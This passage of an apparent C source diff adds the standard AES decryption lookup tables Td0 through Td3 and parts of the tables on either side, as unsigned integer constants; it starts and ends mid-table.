0x1b1b1b1bUL, 0x6e6e6e6eUL, 0x5a5a5a5aUL, 0xa0a0a0a0UL, + 0x52525252UL, 0x3b3b3b3bUL, 0xd6d6d6d6UL, 0xb3b3b3b3UL, + 0x29292929UL, 0xe3e3e3e3UL, 0x2f2f2f2fUL, 0x84848484UL, + 0x53535353UL, 0xd1d1d1d1UL, 0x00000000UL, 0xededededUL, + 0x20202020UL, 0xfcfcfcfcUL, 0xb1b1b1b1UL, 0x5b5b5b5bUL, + 0x6a6a6a6aUL, 0xcbcbcbcbUL, 0xbebebebeUL, 0x39393939UL, + 0x4a4a4a4aUL, 0x4c4c4c4cUL, 0x58585858UL, 0xcfcfcfcfUL, + 0xd0d0d0d0UL, 0xefefefefUL, 0xaaaaaaaaUL, 0xfbfbfbfbUL, + 0x43434343UL, 0x4d4d4d4dUL, 0x33333333UL, 0x85858585UL, + 0x45454545UL, 0xf9f9f9f9UL, 0x02020202UL, 0x7f7f7f7fUL, + 0x50505050UL, 0x3c3c3c3cUL, 0x9f9f9f9fUL, 0xa8a8a8a8UL, + 0x51515151UL, 0xa3a3a3a3UL, 0x40404040UL, 0x8f8f8f8fUL, + 0x92929292UL, 0x9d9d9d9dUL, 0x38383838UL, 0xf5f5f5f5UL, + 0xbcbcbcbcUL, 0xb6b6b6b6UL, 0xdadadadaUL, 0x21212121UL, + 0x10101010UL, 0xffffffffUL, 0xf3f3f3f3UL, 0xd2d2d2d2UL, + 0xcdcdcdcdUL, 0x0c0c0c0cUL, 0x13131313UL, 0xececececUL, + 0x5f5f5f5fUL, 0x97979797UL, 0x44444444UL, 0x17171717UL, + 0xc4c4c4c4UL, 0xa7a7a7a7UL, 0x7e7e7e7eUL, 0x3d3d3d3dUL, + 0x64646464UL, 0x5d5d5d5dUL, 0x19191919UL, 0x73737373UL, + 0x60606060UL, 0x81818181UL, 0x4f4f4f4fUL, 0xdcdcdcdcUL, + 0x22222222UL, 0x2a2a2a2aUL, 0x90909090UL, 0x88888888UL, + 0x46464646UL, 0xeeeeeeeeUL, 0xb8b8b8b8UL, 0x14141414UL, + 0xdedededeUL, 0x5e5e5e5eUL, 0x0b0b0b0bUL, 0xdbdbdbdbUL, + 0xe0e0e0e0UL, 0x32323232UL, 0x3a3a3a3aUL, 0x0a0a0a0aUL, + 0x49494949UL, 0x06060606UL, 0x24242424UL, 0x5c5c5c5cUL, + 0xc2c2c2c2UL, 0xd3d3d3d3UL, 0xacacacacUL, 0x62626262UL, + 0x91919191UL, 0x95959595UL, 0xe4e4e4e4UL, 0x79797979UL, + 0xe7e7e7e7UL, 0xc8c8c8c8UL, 0x37373737UL, 0x6d6d6d6dUL, + 0x8d8d8d8dUL, 0xd5d5d5d5UL, 0x4e4e4e4eUL, 0xa9a9a9a9UL, + 0x6c6c6c6cUL, 0x56565656UL, 0xf4f4f4f4UL, 0xeaeaeaeaUL, + 0x65656565UL, 0x7a7a7a7aUL, 0xaeaeaeaeUL, 0x08080808UL, + 0xbabababaUL, 0x78787878UL, 0x25252525UL, 0x2e2e2e2eUL, + 0x1c1c1c1cUL, 0xa6a6a6a6UL, 0xb4b4b4b4UL, 0xc6c6c6c6UL, + 0xe8e8e8e8UL, 0xddddddddUL, 0x74747474UL, 0x1f1f1f1fUL, + 0x4b4b4b4bUL, 0xbdbdbdbdUL, 0x8b8b8b8bUL, 0x8a8a8a8aUL, + 0x70707070UL, 0x3e3e3e3eUL, 0xb5b5b5b5UL, 0x66666666UL, + 0x48484848UL, 0x03030303UL, 0xf6f6f6f6UL, 0x0e0e0e0eUL, + 0x61616161UL, 0x35353535UL, 0x57575757UL, 0xb9b9b9b9UL, + 0x86868686UL, 0xc1c1c1c1UL, 0x1d1d1d1dUL, 0x9e9e9e9eUL, + 0xe1e1e1e1UL, 0xf8f8f8f8UL, 0x98989898UL, 0x11111111UL, + 0x69696969UL, 0xd9d9d9d9UL, 0x8e8e8e8eUL, 0x94949494UL, + 0x9b9b9b9bUL, 0x1e1e1e1eUL, 0x87878787UL, 0xe9e9e9e9UL, + 0xcecececeUL, 0x55555555UL, 0x28282828UL, 0xdfdfdfdfUL, + 0x8c8c8c8cUL, 0xa1a1a1a1UL, 0x89898989UL, 0x0d0d0d0dUL, + 0xbfbfbfbfUL, 0xe6e6e6e6UL, 0x42424242UL, 0x68686868UL, + 0x41414141UL, 0x99999999UL, 0x2d2d2d2dUL, 0x0f0f0f0fUL, + 0xb0b0b0b0UL, 0x54545454UL, 0xbbbbbbbbUL, 0x16161616UL, +}; +static const unsigned int Td0[256] = { + 0x51f4a750UL, 0x7e416553UL, 0x1a17a4c3UL, 0x3a275e96UL, + 0x3bab6bcbUL, 0x1f9d45f1UL, 0xacfa58abUL, 0x4be30393UL, + 0x2030fa55UL, 0xad766df6UL, 0x88cc7691UL, 0xf5024c25UL, + 0x4fe5d7fcUL, 0xc52acbd7UL, 0x26354480UL, 0xb562a38fUL, + 0xdeb15a49UL, 0x25ba1b67UL, 0x45ea0e98UL, 0x5dfec0e1UL, + 0xc32f7502UL, 0x814cf012UL, 0x8d4697a3UL, 0x6bd3f9c6UL, + 0x038f5fe7UL, 0x15929c95UL, 0xbf6d7aebUL, 0x955259daUL, + 0xd4be832dUL, 0x587421d3UL, 0x49e06929UL, 0x8ec9c844UL, + 0x75c2896aUL, 0xf48e7978UL, 0x99583e6bUL, 0x27b971ddUL, + 0xbee14fb6UL, 0xf088ad17UL, 0xc920ac66UL, 0x7dce3ab4UL, + 0x63df4a18UL, 0xe51a3182UL, 0x97513360UL, 0x62537f45UL, + 0xb16477e0UL, 0xbb6bae84UL, 0xfe81a01cUL, 0xf9082b94UL, + 0x70486858UL, 0x8f45fd19UL, 0x94de6c87UL, 0x527bf8b7UL, + 0xab73d323UL, 0x724b02e2UL, 0xe31f8f57UL, 0x6655ab2aUL, + 0xb2eb2807UL, 0x2fb5c203UL, 0x86c57b9aUL, 0xd33708a5UL, + 0x302887f2UL, 0x23bfa5b2UL, 0x02036abaUL, 0xed16825cUL, + 0x8acf1c2bUL, 0xa779b492UL, 0xf307f2f0UL, 0x4e69e2a1UL, + 0x65daf4cdUL, 0x0605bed5UL, 0xd134621fUL, 0xc4a6fe8aUL, + 0x342e539dUL, 0xa2f355a0UL, 0x058ae132UL, 0xa4f6eb75UL, + 0x0b83ec39UL, 0x4060efaaUL, 0x5e719f06UL, 0xbd6e1051UL, + 0x3e218af9UL, 0x96dd063dUL, 0xdd3e05aeUL, 0x4de6bd46UL, + 0x91548db5UL, 0x71c45d05UL, 0x0406d46fUL, 0x605015ffUL, + 0x1998fb24UL, 0xd6bde997UL, 0x894043ccUL, 0x67d99e77UL, + 0xb0e842bdUL, 0x07898b88UL, 0xe7195b38UL, 0x79c8eedbUL, + 0xa17c0a47UL, 0x7c420fe9UL, 0xf8841ec9UL, 0x00000000UL, + 0x09808683UL, 0x322bed48UL, 0x1e1170acUL, 0x6c5a724eUL, + 0xfd0efffbUL, 0x0f853856UL, 0x3daed51eUL, 0x362d3927UL, + 0x0a0fd964UL, 0x685ca621UL, 0x9b5b54d1UL, 0x24362e3aUL, + 0x0c0a67b1UL, 0x9357e70fUL, 0xb4ee96d2UL, 0x1b9b919eUL, + 0x80c0c54fUL, 0x61dc20a2UL, 0x5a774b69UL, 0x1c121a16UL, + 0xe293ba0aUL, 0xc0a02ae5UL, 0x3c22e043UL, 0x121b171dUL, + 0x0e090d0bUL, 0xf28bc7adUL, 0x2db6a8b9UL, 0x141ea9c8UL, + 0x57f11985UL, 0xaf75074cUL, 0xee99ddbbUL, 0xa37f60fdUL, + 0xf701269fUL, 0x5c72f5bcUL, 0x44663bc5UL, 0x5bfb7e34UL, + 0x8b432976UL, 0xcb23c6dcUL, 0xb6edfc68UL, 0xb8e4f163UL, + 0xd731dccaUL, 0x42638510UL, 0x13972240UL, 0x84c61120UL, + 0x854a247dUL, 0xd2bb3df8UL, 0xaef93211UL, 0xc729a16dUL, + 0x1d9e2f4bUL, 0xdcb230f3UL, 0x0d8652ecUL, 0x77c1e3d0UL, + 0x2bb3166cUL, 0xa970b999UL, 0x119448faUL, 0x47e96422UL, + 0xa8fc8cc4UL, 0xa0f03f1aUL, 0x567d2cd8UL, 0x223390efUL, + 0x87494ec7UL, 0xd938d1c1UL, 0x8ccaa2feUL, 0x98d40b36UL, + 0xa6f581cfUL, 0xa57ade28UL, 0xdab78e26UL, 0x3fadbfa4UL, + 0x2c3a9de4UL, 0x5078920dUL, 0x6a5fcc9bUL, 0x547e4662UL, + 0xf68d13c2UL, 0x90d8b8e8UL, 0x2e39f75eUL, 0x82c3aff5UL, + 0x9f5d80beUL, 0x69d0937cUL, 0x6fd52da9UL, 0xcf2512b3UL, + 0xc8ac993bUL, 0x10187da7UL, 0xe89c636eUL, 0xdb3bbb7bUL, + 0xcd267809UL, 0x6e5918f4UL, 0xec9ab701UL, 0x834f9aa8UL, + 0xe6956e65UL, 0xaaffe67eUL, 0x21bccf08UL, 0xef15e8e6UL, + 0xbae79bd9UL, 0x4a6f36ceUL, 0xea9f09d4UL, 0x29b07cd6UL, + 0x31a4b2afUL, 0x2a3f2331UL, 0xc6a59430UL, 0x35a266c0UL, + 0x744ebc37UL, 0xfc82caa6UL, 0xe090d0b0UL, 0x33a7d815UL, + 0xf104984aUL, 0x41ecdaf7UL, 0x7fcd500eUL, 0x1791f62fUL, + 0x764dd68dUL, 0x43efb04dUL, 0xccaa4d54UL, 0xe49604dfUL, + 0x9ed1b5e3UL, 0x4c6a881bUL, 0xc12c1fb8UL, 0x4665517fUL, + 0x9d5eea04UL, 0x018c355dUL, 0xfa877473UL, 0xfb0b412eUL, + 0xb3671d5aUL, 0x92dbd252UL, 0xe9105633UL, 0x6dd64713UL, + 0x9ad7618cUL, 0x37a10c7aUL, 0x59f8148eUL, 0xeb133c89UL, + 0xcea927eeUL, 0xb761c935UL, 0xe11ce5edUL, 0x7a47b13cUL, + 0x9cd2df59UL, 0x55f2733fUL, 0x1814ce79UL, 0x73c737bfUL, + 0x53f7cdeaUL, 0x5ffdaa5bUL, 0xdf3d6f14UL, 0x7844db86UL, + 0xcaaff381UL, 0xb968c43eUL, 0x3824342cUL, 0xc2a3405fUL, + 0x161dc372UL, 0xbce2250cUL, 0x283c498bUL, 0xff0d9541UL, + 0x39a80171UL, 0x080cb3deUL, 0xd8b4e49cUL, 0x6456c190UL, + 0x7bcb8461UL, 0xd532b670UL, 0x486c5c74UL, 0xd0b85742UL, +}; +static const unsigned int Td1[256] = { + 0x5051f4a7UL, 0x537e4165UL, 0xc31a17a4UL, 0x963a275eUL, + 0xcb3bab6bUL, 0xf11f9d45UL, 0xabacfa58UL, 0x934be303UL, + 0x552030faUL, 0xf6ad766dUL, 0x9188cc76UL, 0x25f5024cUL, + 0xfc4fe5d7UL, 0xd7c52acbUL, 0x80263544UL, 0x8fb562a3UL, + 0x49deb15aUL, 0x6725ba1bUL, 0x9845ea0eUL, 0xe15dfec0UL, + 0x02c32f75UL, 0x12814cf0UL, 0xa38d4697UL, 0xc66bd3f9UL, + 0xe7038f5fUL, 0x9515929cUL, 0xebbf6d7aUL, 0xda955259UL, + 0x2dd4be83UL, 0xd3587421UL, 0x2949e069UL, 0x448ec9c8UL, + 0x6a75c289UL, 0x78f48e79UL, 0x6b99583eUL, 0xdd27b971UL, + 0xb6bee14fUL, 0x17f088adUL, 0x66c920acUL, 0xb47dce3aUL, + 0x1863df4aUL, 0x82e51a31UL, 0x60975133UL, 0x4562537fUL, + 0xe0b16477UL, 0x84bb6baeUL, 0x1cfe81a0UL, 0x94f9082bUL, + 0x58704868UL, 0x198f45fdUL, 0x8794de6cUL, 0xb7527bf8UL, + 0x23ab73d3UL, 0xe2724b02UL, 0x57e31f8fUL, 0x2a6655abUL, + 0x07b2eb28UL, 0x032fb5c2UL, 0x9a86c57bUL, 0xa5d33708UL, + 0xf2302887UL, 0xb223bfa5UL, 0xba02036aUL, 0x5ced1682UL, + 0x2b8acf1cUL, 0x92a779b4UL, 0xf0f307f2UL, 0xa14e69e2UL, + 0xcd65daf4UL, 0xd50605beUL, 0x1fd13462UL, 0x8ac4a6feUL, + 0x9d342e53UL, 0xa0a2f355UL, 0x32058ae1UL, 0x75a4f6ebUL, + 0x390b83ecUL, 0xaa4060efUL, 0x065e719fUL, 0x51bd6e10UL, + 0xf93e218aUL, 0x3d96dd06UL, 0xaedd3e05UL, 0x464de6bdUL, + 0xb591548dUL, 0x0571c45dUL, 0x6f0406d4UL, 0xff605015UL, + 0x241998fbUL, 0x97d6bde9UL, 0xcc894043UL, 0x7767d99eUL, + 0xbdb0e842UL, 0x8807898bUL, 0x38e7195bUL, 0xdb79c8eeUL, + 0x47a17c0aUL, 0xe97c420fUL, 0xc9f8841eUL, 0x00000000UL, + 0x83098086UL, 0x48322bedUL, 0xac1e1170UL, 0x4e6c5a72UL, + 0xfbfd0effUL, 0x560f8538UL, 0x1e3daed5UL, 0x27362d39UL, + 0x640a0fd9UL, 0x21685ca6UL, 0xd19b5b54UL, 0x3a24362eUL, + 0xb10c0a67UL, 0x0f9357e7UL, 0xd2b4ee96UL, 0x9e1b9b91UL, + 0x4f80c0c5UL, 0xa261dc20UL, 0x695a774bUL, 0x161c121aUL, + 0x0ae293baUL, 0xe5c0a02aUL, 0x433c22e0UL, 0x1d121b17UL, + 0x0b0e090dUL, 0xadf28bc7UL, 0xb92db6a8UL, 0xc8141ea9UL, + 0x8557f119UL, 0x4caf7507UL, 0xbbee99ddUL, 0xfda37f60UL, + 0x9ff70126UL, 0xbc5c72f5UL, 0xc544663bUL, 0x345bfb7eUL, + 0x768b4329UL, 0xdccb23c6UL, 0x68b6edfcUL, 0x63b8e4f1UL, + 0xcad731dcUL, 0x10426385UL, 0x40139722UL, 0x2084c611UL, + 0x7d854a24UL, 0xf8d2bb3dUL, 0x11aef932UL, 0x6dc729a1UL, + 0x4b1d9e2fUL, 0xf3dcb230UL, 0xec0d8652UL, 0xd077c1e3UL, + 0x6c2bb316UL, 0x99a970b9UL, 0xfa119448UL, 0x2247e964UL, + 0xc4a8fc8cUL, 0x1aa0f03fUL, 0xd8567d2cUL, 0xef223390UL, + 0xc787494eUL, 0xc1d938d1UL, 0xfe8ccaa2UL, 0x3698d40bUL, + 0xcfa6f581UL, 0x28a57adeUL, 0x26dab78eUL, 0xa43fadbfUL, + 0xe42c3a9dUL, 0x0d507892UL, 0x9b6a5fccUL, 0x62547e46UL, + 0xc2f68d13UL, 0xe890d8b8UL, 0x5e2e39f7UL, 0xf582c3afUL, + 0xbe9f5d80UL, 0x7c69d093UL, 0xa96fd52dUL, 0xb3cf2512UL, + 0x3bc8ac99UL, 0xa710187dUL, 0x6ee89c63UL, 0x7bdb3bbbUL, + 0x09cd2678UL, 0xf46e5918UL, 0x01ec9ab7UL, 0xa8834f9aUL, + 0x65e6956eUL, 0x7eaaffe6UL, 0x0821bccfUL, 0xe6ef15e8UL, + 0xd9bae79bUL, 0xce4a6f36UL, 0xd4ea9f09UL, 0xd629b07cUL, + 0xaf31a4b2UL, 0x312a3f23UL, 0x30c6a594UL, 0xc035a266UL, + 0x37744ebcUL, 0xa6fc82caUL, 0xb0e090d0UL, 0x1533a7d8UL, + 0x4af10498UL, 0xf741ecdaUL, 0x0e7fcd50UL, 0x2f1791f6UL, + 0x8d764dd6UL, 0x4d43efb0UL, 0x54ccaa4dUL, 0xdfe49604UL, + 0xe39ed1b5UL, 0x1b4c6a88UL, 0xb8c12c1fUL, 0x7f466551UL, + 0x049d5eeaUL, 0x5d018c35UL, 0x73fa8774UL, 0x2efb0b41UL, + 0x5ab3671dUL, 0x5292dbd2UL, 0x33e91056UL, 0x136dd647UL, + 0x8c9ad761UL, 0x7a37a10cUL, 0x8e59f814UL, 0x89eb133cUL, + 0xeecea927UL, 0x35b761c9UL, 0xede11ce5UL, 0x3c7a47b1UL, + 0x599cd2dfUL, 0x3f55f273UL, 0x791814ceUL, 0xbf73c737UL, + 0xea53f7cdUL, 0x5b5ffdaaUL, 0x14df3d6fUL, 0x867844dbUL, + 0x81caaff3UL, 0x3eb968c4UL, 0x2c382434UL, 0x5fc2a340UL, + 0x72161dc3UL, 0x0cbce225UL, 0x8b283c49UL, 0x41ff0d95UL, + 0x7139a801UL, 0xde080cb3UL, 0x9cd8b4e4UL, 0x906456c1UL, + 0x617bcb84UL, 0x70d532b6UL, 0x74486c5cUL, 0x42d0b857UL, +}; +static const unsigned int Td2[256] = { + 0xa75051f4UL, 0x65537e41UL, 0xa4c31a17UL, 0x5e963a27UL, + 0x6bcb3babUL, 0x45f11f9dUL, 0x58abacfaUL, 0x03934be3UL, + 0xfa552030UL, 0x6df6ad76UL, 0x769188ccUL, 0x4c25f502UL, + 0xd7fc4fe5UL, 0xcbd7c52aUL, 0x44802635UL, 0xa38fb562UL, + 0x5a49deb1UL, 0x1b6725baUL, 0x0e9845eaUL, 0xc0e15dfeUL, + 0x7502c32fUL, 0xf012814cUL, 0x97a38d46UL, 0xf9c66bd3UL, + 0x5fe7038fUL, 0x9c951592UL, 0x7aebbf6dUL, 0x59da9552UL, + 0x832dd4beUL, 0x21d35874UL, 0x692949e0UL, 0xc8448ec9UL, + 0x896a75c2UL, 0x7978f48eUL, 0x3e6b9958UL, 0x71dd27b9UL, + 0x4fb6bee1UL, 0xad17f088UL, 0xac66c920UL, 0x3ab47dceUL, + 0x4a1863dfUL, 0x3182e51aUL, 0x33609751UL, 0x7f456253UL, + 0x77e0b164UL, 0xae84bb6bUL, 0xa01cfe81UL, 0x2b94f908UL, + 0x68587048UL, 0xfd198f45UL, 0x6c8794deUL, 0xf8b7527bUL, + 0xd323ab73UL, 0x02e2724bUL, 0x8f57e31fUL, 0xab2a6655UL, + 0x2807b2ebUL, 0xc2032fb5UL, 0x7b9a86c5UL, 0x08a5d337UL, + 0x87f23028UL, 0xa5b223bfUL, 0x6aba0203UL, 0x825ced16UL, + 0x1c2b8acfUL, 0xb492a779UL, 0xf2f0f307UL, 0xe2a14e69UL, + 0xf4cd65daUL, 0xbed50605UL, 0x621fd134UL, 0xfe8ac4a6UL, + 0x539d342eUL, 0x55a0a2f3UL, 0xe132058aUL, 0xeb75a4f6UL, + 0xec390b83UL, 0xefaa4060UL, 0x9f065e71UL, 0x1051bd6eUL, + 0x8af93e21UL, 0x063d96ddUL, 0x05aedd3eUL, 0xbd464de6UL, + 0x8db59154UL, 0x5d0571c4UL, 0xd46f0406UL, 0x15ff6050UL, + 0xfb241998UL, 0xe997d6bdUL, 0x43cc8940UL, 0x9e7767d9UL, + 0x42bdb0e8UL, 0x8b880789UL, 0x5b38e719UL, 0xeedb79c8UL, + 0x0a47a17cUL, 0x0fe97c42UL, 0x1ec9f884UL, 0x00000000UL, + 0x86830980UL, 0xed48322bUL, 0x70ac1e11UL, 0x724e6c5aUL, + 0xfffbfd0eUL, 0x38560f85UL, 0xd51e3daeUL, 0x3927362dUL, + 0xd9640a0fUL, 0xa621685cUL, 0x54d19b5bUL, 0x2e3a2436UL, + 0x67b10c0aUL, 0xe70f9357UL, 0x96d2b4eeUL, 0x919e1b9bUL, + 0xc54f80c0UL, 0x20a261dcUL, 0x4b695a77UL, 0x1a161c12UL, + 0xba0ae293UL, 0x2ae5c0a0UL, 0xe0433c22UL, 0x171d121bUL, + 0x0d0b0e09UL, 0xc7adf28bUL, 0xa8b92db6UL, 0xa9c8141eUL, + 0x198557f1UL, 0x074caf75UL, 0xddbbee99UL, 0x60fda37fUL, + 0x269ff701UL, 0xf5bc5c72UL, 0x3bc54466UL, 0x7e345bfbUL, + 0x29768b43UL, 0xc6dccb23UL, 0xfc68b6edUL, 0xf163b8e4UL, + 0xdccad731UL, 0x85104263UL, 0x22401397UL, 0x112084c6UL, + 0x247d854aUL, 0x3df8d2bbUL, 0x3211aef9UL, 0xa16dc729UL, + 0x2f4b1d9eUL, 0x30f3dcb2UL, 0x52ec0d86UL, 0xe3d077c1UL, + 0x166c2bb3UL, 0xb999a970UL, 0x48fa1194UL, 0x642247e9UL, + 0x8cc4a8fcUL, 0x3f1aa0f0UL, 0x2cd8567dUL, 0x90ef2233UL, + 0x4ec78749UL, 0xd1c1d938UL, 0xa2fe8ccaUL, 0x0b3698d4UL, + 0x81cfa6f5UL, 0xde28a57aUL, 0x8e26dab7UL, 0xbfa43fadUL, + 0x9de42c3aUL, 0x920d5078UL, 0xcc9b6a5fUL, 0x4662547eUL, + 0x13c2f68dUL, 0xb8e890d8UL, 0xf75e2e39UL, 0xaff582c3UL, + 0x80be9f5dUL, 0x937c69d0UL, 0x2da96fd5UL, 0x12b3cf25UL, + 0x993bc8acUL, 0x7da71018UL, 0x636ee89cUL, 0xbb7bdb3bUL, + 0x7809cd26UL, 0x18f46e59UL, 0xb701ec9aUL, 0x9aa8834fUL, + 0x6e65e695UL, 0xe67eaaffUL, 0xcf0821bcUL, 0xe8e6ef15UL, + 0x9bd9bae7UL, 0x36ce4a6fUL, 0x09d4ea9fUL, 0x7cd629b0UL, + 0xb2af31a4UL, 0x23312a3fUL, 0x9430c6a5UL, 0x66c035a2UL, + 0xbc37744eUL, 0xcaa6fc82UL, 0xd0b0e090UL, 0xd81533a7UL, + 0x984af104UL, 0xdaf741ecUL, 0x500e7fcdUL, 0xf62f1791UL, + 0xd68d764dUL, 0xb04d43efUL, 0x4d54ccaaUL, 0x04dfe496UL, + 0xb5e39ed1UL, 0x881b4c6aUL, 0x1fb8c12cUL, 0x517f4665UL, + 0xea049d5eUL, 0x355d018cUL, 0x7473fa87UL, 0x412efb0bUL, + 0x1d5ab367UL, 0xd25292dbUL, 0x5633e910UL, 0x47136dd6UL, + 0x618c9ad7UL, 0x0c7a37a1UL, 0x148e59f8UL, 0x3c89eb13UL, + 0x27eecea9UL, 0xc935b761UL, 0xe5ede11cUL, 0xb13c7a47UL, + 0xdf599cd2UL, 0x733f55f2UL, 0xce791814UL, 0x37bf73c7UL, + 0xcdea53f7UL, 0xaa5b5ffdUL, 0x6f14df3dUL, 0xdb867844UL, + 0xf381caafUL, 0xc43eb968UL, 0x342c3824UL, 0x405fc2a3UL, + 0xc372161dUL, 0x250cbce2UL, 0x498b283cUL, 0x9541ff0dUL, + 0x017139a8UL, 0xb3de080cUL, 0xe49cd8b4UL, 0xc1906456UL, + 0x84617bcbUL, 0xb670d532UL, 0x5c74486cUL, 0x5742d0b8UL, +}; +static const unsigned int Td3[256] = { + 0xf4a75051UL, 0x4165537eUL, 0x17a4c31aUL, 0x275e963aUL, + 0xab6bcb3bUL, 0x9d45f11fUL, 0xfa58abacUL, 0xe303934bUL, + 0x30fa5520UL, 0x766df6adUL, 0xcc769188UL, 0x024c25f5UL, + 0xe5d7fc4fUL, 0x2acbd7c5UL, 0x35448026UL, 0x62a38fb5UL, + 0xb15a49deUL, 0xba1b6725UL, 0xea0e9845UL, 0xfec0e15dUL, + 0x2f7502c3UL, 0x4cf01281UL, 0x4697a38dUL, 0xd3f9c66bUL, + 0x8f5fe703UL, 0x929c9515UL, 0x6d7aebbfUL, 0x5259da95UL, + 0xbe832dd4UL, 0x7421d358UL, 0xe0692949UL, 0xc9c8448eUL, + 0xc2896a75UL, 0x8e7978f4UL, 0x583e6b99UL, 0xb971dd27UL, + 0xe14fb6beUL, 0x88ad17f0UL, 0x20ac66c9UL, 0xce3ab47dUL, + 0xdf4a1863UL, 0x1a3182e5UL, 0x51336097UL, 0x537f4562UL, + 0x6477e0b1UL, 0x6bae84bbUL, 0x81a01cfeUL, 0x082b94f9UL, + 0x48685870UL, 0x45fd198fUL, 0xde6c8794UL, 0x7bf8b752UL, + 0x73d323abUL, 0x4b02e272UL, 0x1f8f57e3UL, 0x55ab2a66UL, + 0xeb2807b2UL, 0xb5c2032fUL, 0xc57b9a86UL, 0x3708a5d3UL, + 0x2887f230UL, 0xbfa5b223UL, 0x036aba02UL, 0x16825cedUL, + 0xcf1c2b8aUL, 0x79b492a7UL, 0x07f2f0f3UL, 0x69e2a14eUL, + 0xdaf4cd65UL, 0x05bed506UL, 0x34621fd1UL, 0xa6fe8ac4UL, + 0x2e539d34UL, 0xf355a0a2UL, 0x8ae13205UL, 0xf6eb75a4UL, + 0x83ec390bUL, 0x60efaa40UL, 0x719f065eUL, 0x6e1051bdUL, + 0x218af93eUL, 0xdd063d96UL, 0x3e05aeddUL, 0xe6bd464dUL, + 0x548db591UL, 0xc45d0571UL, 0x06d46f04UL, 0x5015ff60UL, + 0x98fb2419UL, 0xbde997d6UL, 0x4043cc89UL, 0xd99e7767UL, + 0xe842bdb0UL, 0x898b8807UL, 0x195b38e7UL, 0xc8eedb79UL, + 0x7c0a47a1UL, 0x420fe97cUL, 0x841ec9f8UL, 0x00000000UL, + 0x80868309UL, 0x2bed4832UL, 0x1170ac1eUL, 0x5a724e6cUL, + 0x0efffbfdUL, 0x8538560fUL, 0xaed51e3dUL, 0x2d392736UL, + 0x0fd9640aUL, 0x5ca62168UL, 0x5b54d19bUL, 0x362e3a24UL, + 0x0a67b10cUL, 0x57e70f93UL, 0xee96d2b4UL, 0x9b919e1bUL, + 0xc0c54f80UL, 0xdc20a261UL, 0x774b695aUL, 0x121a161cUL, + 0x93ba0ae2UL, 0xa02ae5c0UL, 0x22e0433cUL, 0x1b171d12UL, + 0x090d0b0eUL, 0x8bc7adf2UL, 0xb6a8b92dUL, 0x1ea9c814UL, + 0xf1198557UL, 0x75074cafUL, 0x99ddbbeeUL, 0x7f60fda3UL, + 0x01269ff7UL, 0x72f5bc5cUL, 0x663bc544UL, 0xfb7e345bUL, + 0x4329768bUL, 0x23c6dccbUL, 0xedfc68b6UL, 0xe4f163b8UL, + 0x31dccad7UL, 0x63851042UL, 0x97224013UL, 0xc6112084UL, + 0x4a247d85UL, 0xbb3df8d2UL, 0xf93211aeUL, 0x29a16dc7UL, + 0x9e2f4b1dUL, 0xb230f3dcUL, 0x8652ec0dUL, 0xc1e3d077UL, + 0xb3166c2bUL, 0x70b999a9UL, 0x9448fa11UL, 0xe9642247UL, + 0xfc8cc4a8UL, 0xf03f1aa0UL, 0x7d2cd856UL, 0x3390ef22UL, + 0x494ec787UL, 0x38d1c1d9UL, 0xcaa2fe8cUL, 0xd40b3698UL, + 0xf581cfa6UL, 0x7ade28a5UL, 0xb78e26daUL, 0xadbfa43fUL, + 0x3a9de42cUL, 0x78920d50UL, 0x5fcc9b6aUL, 0x7e466254UL, + 0x8d13c2f6UL, 0xd8b8e890UL, 0x39f75e2eUL, 0xc3aff582UL, + 0x5d80be9fUL, 0xd0937c69UL, 0xd52da96fUL, 0x2512b3cfUL, + 0xac993bc8UL, 0x187da710UL, 0x9c636ee8UL, 0x3bbb7bdbUL, + 0x267809cdUL, 0x5918f46eUL, 0x9ab701ecUL, 0x4f9aa883UL, + 0x956e65e6UL, 0xffe67eaaUL, 0xbccf0821UL, 0x15e8e6efUL, + 0xe79bd9baUL, 0x6f36ce4aUL, 0x9f09d4eaUL, 0xb07cd629UL, + 0xa4b2af31UL, 0x3f23312aUL, 0xa59430c6UL, 0xa266c035UL, + 0x4ebc3774UL, 0x82caa6fcUL, 0x90d0b0e0UL, 0xa7d81533UL, + 0x04984af1UL, 0xecdaf741UL, 0xcd500e7fUL, 0x91f62f17UL, + 0x4dd68d76UL, 0xefb04d43UL, 0xaa4d54ccUL, 0x9604dfe4UL, + 0xd1b5e39eUL, 0x6a881b4cUL, 0x2c1fb8c1UL, 0x65517f46UL, + 0x5eea049dUL, 0x8c355d01UL, 0x877473faUL, 0x0b412efbUL, + 0x671d5ab3UL, 0xdbd25292UL, 0x105633e9UL, 0xd647136dUL, + 0xd7618c9aUL, 0xa10c7a37UL, 0xf8148e59UL, 0x133c89ebUL, + 0xa927eeceUL, 0x61c935b7UL, 0x1ce5ede1UL, 0x47b13c7aUL, + 0xd2df599cUL, 0xf2733f55UL, 0x14ce7918UL, 0xc737bf73UL, + 0xf7cdea53UL, 0xfdaa5b5fUL, 0x3d6f14dfUL, 0x44db8678UL, + 0xaff381caUL, 0x68c43eb9UL, 0x24342c38UL, 0xa3405fc2UL, + 0x1dc37216UL, 0xe2250cbcUL, 0x3c498b28UL, 0x0d9541ffUL, + 0xa8017139UL, 0x0cb3de08UL, 0xb4e49cd8UL, 0x56c19064UL, + 0xcb84617bUL, 0x32b670d5UL, 0x6c5c7448UL, 0xb85742d0UL, +}; +static const unsigned int Td4[256] = { + 0x52525252UL, 0x09090909UL, 0x6a6a6a6aUL, 0xd5d5d5d5UL, + 0x30303030UL, 0x36363636UL, 0xa5a5a5a5UL, 0x38383838UL, + 0xbfbfbfbfUL, 0x40404040UL, 0xa3a3a3a3UL, 0x9e9e9e9eUL, + 0x81818181UL, 0xf3f3f3f3UL, 0xd7d7d7d7UL, 0xfbfbfbfbUL, + 0x7c7c7c7cUL, 0xe3e3e3e3UL, 0x39393939UL, 0x82828282UL, + 0x9b9b9b9bUL, 0x2f2f2f2fUL, 0xffffffffUL, 0x87878787UL, + 0x34343434UL, 0x8e8e8e8eUL, 0x43434343UL, 0x44444444UL, + 0xc4c4c4c4UL, 0xdedededeUL, 0xe9e9e9e9UL, 0xcbcbcbcbUL, + 0x54545454UL, 0x7b7b7b7bUL, 0x94949494UL, 0x32323232UL, + 0xa6a6a6a6UL, 0xc2c2c2c2UL, 0x23232323UL, 0x3d3d3d3dUL, + 0xeeeeeeeeUL, 0x4c4c4c4cUL, 0x95959595UL, 0x0b0b0b0bUL, + 0x42424242UL, 0xfafafafaUL, 0xc3c3c3c3UL, 0x4e4e4e4eUL, + 0x08080808UL, 0x2e2e2e2eUL, 0xa1a1a1a1UL, 0x66666666UL, + 0x28282828UL, 0xd9d9d9d9UL, 0x24242424UL, 0xb2b2b2b2UL, + 0x76767676UL, 